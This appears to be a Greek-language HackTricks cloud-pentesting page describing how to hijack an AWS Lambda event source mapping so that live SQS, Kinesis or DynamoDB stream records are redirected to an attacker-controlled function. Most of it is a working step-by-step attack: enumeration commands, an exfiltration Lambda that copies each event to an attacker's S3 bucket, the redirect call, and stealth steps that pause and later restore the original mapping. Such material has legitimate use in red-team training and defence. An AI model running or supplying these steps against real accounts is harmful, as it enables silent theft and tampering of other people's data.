AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Καταχραστείτε το UpdateEventSourceMapping για να αλλάξετε την στοχευόμενη λειτουργία Lambda ενός υπάρχοντος Event Source Mapping (ESM), έτσι ώστε εγγραφές από DynamoDB Streams, Kinesis ή SQS να παραδίδονται σε μια λειτουργία που ελέγχεται από τον επιτιθέμενο. Αυτό αποσπά σιωπηλά ζωντανά δεδομένα χωρίς να αγγίζει τους παραγωγούς ή τον αρχικό κώδικα της λειτουργίας.

Επιπτώσεις

  • Ανακατευθύνετε και διαβάστε ζωντανές εγγραφές από υπάρχοντα streams/queues χωρίς να τροποποιήσετε τις εφαρμογές παραγωγών ή τον κώδικα του θύματος.
  • Δυνητική εξαγωγή δεδομένων ή παραποίηση λογικής μέσω επεξεργασίας της κίνησης του θύματος σε μια κακόβουλη λειτουργία.

Απαιτούμενα δικαιώματα

  • lambda:ListEventSourceMappings
  • lambda:GetEventSourceMapping
  • lambda:UpdateEventSourceMapping
  • Δυνατότητα ανάπτυξης ή αναφοράς μιας λειτουργίας Lambda που ελέγχεται από επιτιθέμενο (lambda:CreateFunction ή δικαίωμα χρήσης μιας υπάρχουσας).

Βήματα

  1. Απαριθμήστε τα event source mappings για τη λειτουργία-θύμα
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
  1. Προετοιμάστε έναν Lambda παραλήπτη υπό έλεγχο του επιτιθέμενου (ίδια περιοχή; ιδανικά παρόμοιο VPC/runtime)
cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
  1. Ανακατευθύνετε το mapping προς την attacker function
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
  1. Δημιουργήστε ένα συμβάν στην πηγή ώστε το mapping να πυροδοτηθεί (παράδειγμα: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
  1. Επαληθεύστε ότι η attacker function λαμβάνει το batch
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
  1. Προαιρετικό stealth
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true

Σημειώσεις:

  • Για τα SQS ESMs, ο ρόλος εκτέλεσης του Lambda που επεξεργάζεται την ουρά χρειάζεται sqs:ReceiveMessage, sqs:DeleteMessage και sqs:GetQueueAttributes (διαχειριζόμενη πολιτική: AWSLambdaSQSQueueExecutionRole).
  • Το UUID του ESM παραμένει ίδιο· αλλάζει μόνο το FunctionArn, οπότε οι producers και οι source ARNs παραμένουν ανεπηρέαστοι.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks